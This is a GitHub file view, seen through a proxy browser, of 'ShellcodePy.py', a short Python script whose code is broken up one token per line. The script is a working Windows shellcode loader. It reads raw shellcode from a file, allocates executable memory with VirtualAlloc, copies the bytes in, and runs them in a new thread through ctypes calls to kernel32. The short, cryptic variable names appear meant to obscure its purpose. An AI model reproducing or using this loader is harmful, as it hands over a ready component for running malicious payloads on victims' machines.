FazBrowse GitHub Viewer
|
Trending
|
URL:
|
Home
Tools:
[Download Repo ZIP]
[View Raw Code]
[Original HTTPS Page]
ShellcodePy/ShellcodePy.py at master · ELMERIKH/ShellcodePy · GitHub
ELMERIKH
/
ShellcodePy
Public
Notifications
You must be signed in to change notification settings
Fork
1
Star
5
Code
Issues
0
Pull requests
0
Actions
Projects
Security and quality
0
Insights
Additional navigation options
Code
Issues
Pull requests
Actions
Projects
Security and quality
Insights
Expand file tree
Breadcrumbs
ShellcodePy
/
ShellcodePy.py
Copy path
More file actions
More file actions
Latest commit
History
History
History
31 lines (25 loc) · 985 Bytes
Breadcrumbs
ShellcodePy
/
ShellcodePy.py
Copy path
File metadata and controls
31 lines (25 loc) · 985 Bytes
Raw
Copy raw file
Download raw file
Open symbols panel
Edit and raw actions
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import
ctypes
as
kk
import
sys
def
O
(
shl_f
):
with
open
(
shl_f
,
'rb'
)
as
f
:
b_x
=
f
.
read
()
kk
.
windll
.
kernel32
.
VirtualAlloc
.
restype
=
kk
.
c_void_p
kk
.
windll
.
kernel32
.
CreateThread
.
argtypes
=
(
kk
.
c_int
,
kk
.
c_int
,
kk
.
c_void_p
,
kk
.
c_int
,
kk
.
c_int
,
kk
.
POINTER
(
kk
.
c_int
)
)
spc
=
kk
.
windll
.
kernel32
.
VirtualAlloc
(
kk
.
c_int
(
0
),
kk
.
c_int
(
len
(
b_x
)),
kk
.
c_int
(
0x3000
),
kk
.
c_int
(
0x40
)
)
bf
=
(
kk
.
c_char
*
len
(
b_x
)).
from_buffer_copy
(
b_x
)
kk
.
windll
.
kernel32
.
RtlMoveMemory
(
kk
.
c_void_p
(
spc
),
bf
,
kk
.
c_int
(
len
(
b_x
)))
hndl
=
kk
.
windll
.
kernel32
.
CreateThread
(
kk
.
c_int
(
0
),
kk
.
c_int
(
0
),
kk
.
c_void_p
(
spc
),
kk
.
c_int
(
0
),
kk
.
c_int
(
0
),
kk
.
pointer
(
kk
.
c_int
(
0
))
)
kk
.
windll
.
kernel32
.
WaitForSingleObject
(
hndl
,
kk
.
c_uint32
(
0xffffffff
))
if
__name__
==
"__main__"
:
if
len
(
sys
.
argv
)
!=
2
:
print
(
"Usage: python ShellcodePy.py shellcode.bin/or shellcode file"
)
else
:
shl_f
=
sys
.
argv
[
1
]
O
(
shl_f
)
Back
|
FazBrowse Home
|
New Git URL